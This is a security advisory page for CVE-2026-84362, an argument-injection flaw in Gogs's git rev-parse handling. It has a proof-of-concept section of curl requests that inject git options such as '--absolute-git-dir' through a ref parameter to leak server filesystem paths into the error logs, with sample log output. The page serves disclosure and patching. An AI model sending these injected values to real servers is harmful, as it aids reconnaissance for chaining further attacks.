CVE-2026-84362gogs.io/gogs Argument Injection
NVD
Vulnerability Summary
Summary Multiple Gogs API endpoints pass user-controlled input to `git rev-parse` without the `--end-of-options` separator. An authenticated user can inject git CLI options like `--absolute-git-dir` through parameters meant for commit SHAs or branch references, leaking the server's full filesystem path to the repository and other internal configuration details to the server-side error logs. Details The `RevParse` function in `gogs/git-module` (v1.8.8) at `repo.go:590-607` constructs a git command without `--end-of-options`: ```go func (r Repository) RevParse(rev string, opts ...RevParseOptions) (string, error) { cmd := NewCommand("rev-parse").AddOptions(opt.CommandOptions) stdout, err := cmd.AddArgs(rev).RunInDirWithTimeout(opt.Timeout, r.path) // ... } ``` Other functions in the same library correctly use `--end-of-options` (e.g., `DeleteBranch` at `repo_reference.go:284`, `MergeBase` at `repo_pull.go:36`, `ShowRefVerify` at `repo_reference.go:59`), showing the developers are aware of this pattern but missed it in `RevParse`. `RevParse` is called by `CatFileCommit` (`repo_commit.go:98`), which is reachable from these API endpoints: - `GET /api/v1/repos/:owner/:repo/contents?ref=PAYLOAD` - `PUT /api/v1/repos/:owner/:repo/contents/` (branch field in request body) - `GET /api/v1/repos/:owner/:repo/git/trees/:sha` - `GET /api/v1/repos/:owner/:repo/git/blobs/:sha` - `GET /api/v1/repos/:owner/:repo/commits/:sha` - `GET /api/v1/repos/:owner/:repo/raw/*` (via RepoRef middleware) This is the same vulnerability class as CVE-2024-39933 (git argument injection via tag names), where the fix was to strip leading dashes. The `RevParse` function was not addressed in that fix. PoC Tested on Gogs 0.15.0+dev (main branch), Linux. Step 1: Inject --absolute-git-dir to leak the repository filesystem path ```bash TOKEN="<your-api-token>" curl -s -H "Authorization: token $TOKEN" \ "http://TARGET:3000/api/v1/repos/YOUR_USER/test-repo/contents?ref=--absolute-git-dir" ``` The API returns a generic error to the caller: ```json {"message":"Something went wrong, please check the server logs for more information."} ``` But the server log records the full filesystem path: ``` [ERROR] NotFoundOrError() get commit: exit status 128 - fatal: Not a valid object name /data/gogs/repos/YOUR_USER/test-repo.git ``` Step 2: Probe other internal details ```bash Confirm repository is bare curl -s -H "Authorization: token $TOKEN" \ "http://TARGET:3000/api/v1/repos/YOUR_USER/test-repo/contents?ref=--is-bare-repository" Server log: "Not a valid object name true" Get git common directory curl -s -H "Authorization: token $TOKEN" \ "http://TARGET:3000/api/v1/repos/YOUR_USER/test-repo/contents?ref=--git-common-dir" Server log: "Not a valid object name ." ``` Validated output from local test: ``` [ERROR] get commit: exit status 128 - fatal: Not a valid object name /tmp/hunt-gogs/data/repos/testadmin/test-repo.git [ERROR] get commit: exit status 128 - fatal: Not a valid object name true [ERROR] get commit: exit status 128 - fatal: Not a valid object name . ``` The disclosed information (filesystem paths, repository type, directory layout) is written to server-side logs. The API response to the attacker is a generic error message. If the attacker has access to logs (shared log aggregation, another vulnerability, or admin access), the leaked paths reveal the full directory structure of the server. Impact This is a git argument injection that results in server-side information disclosure. An authenticated user with read access to any repository (including public repositories) can leak the server's internal filesystem paths and repository configuration to the error logs. The disclosed paths reveal the operating system layout, Gogs installation directory, data directory structure, and service account username. This information is useful for chaining with other vulnerabilities that require knowledge of absolute filesystem paths (path traversal, local file inclusion). The vulnerability follows the same pattern as CVE-2024-39933. While `rev-parse` does not support options that lead to code execution or file writes (limiting the direct impact), the missing `--end-of-options` separator is a defense-in-depth gap that should be fixed across all affected functions in the `git-module` library: `RevParse` (`repo.go:597`), `Checkout` (`repo.go:310`), and `CatFileType` (`repo_commit.go:144`).
CVSS v3.1 Base Metrics — Score 4.3
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NAttack VectorNetwork
Attack ComplexityLow
Privileges RequiredLow
User InteractionNone
ScopeUnchanged
ConfidentialityLow
IntegrityNone
AvailabilityNone
Affected & Patched Versions
- gogs.io/gogs <= 0.14.3
- gogs.io/gogs 0.14.4
What to do
Fix it during your normal patch cycle. No exploitation is confirmed yet.
- Check whether you run gogs.io/gogs and which version.
- Update to a patched version listed above, then confirm the new version.
Timeline
- Nov 24, 2026Published
- Nov 24, 2026Record last modified
Score, severity and exploitation changes are tracked from the day Watchtower started logging them.
Get notified about new gogs.io/gogs CVEsYou are reading CVE-2026-84362. Get an email when KEV listings, exploits or new CVEs match your stack.
Set up CVE alertsExternal References
Data last checked: Nov 25, 2026 14:01 UTC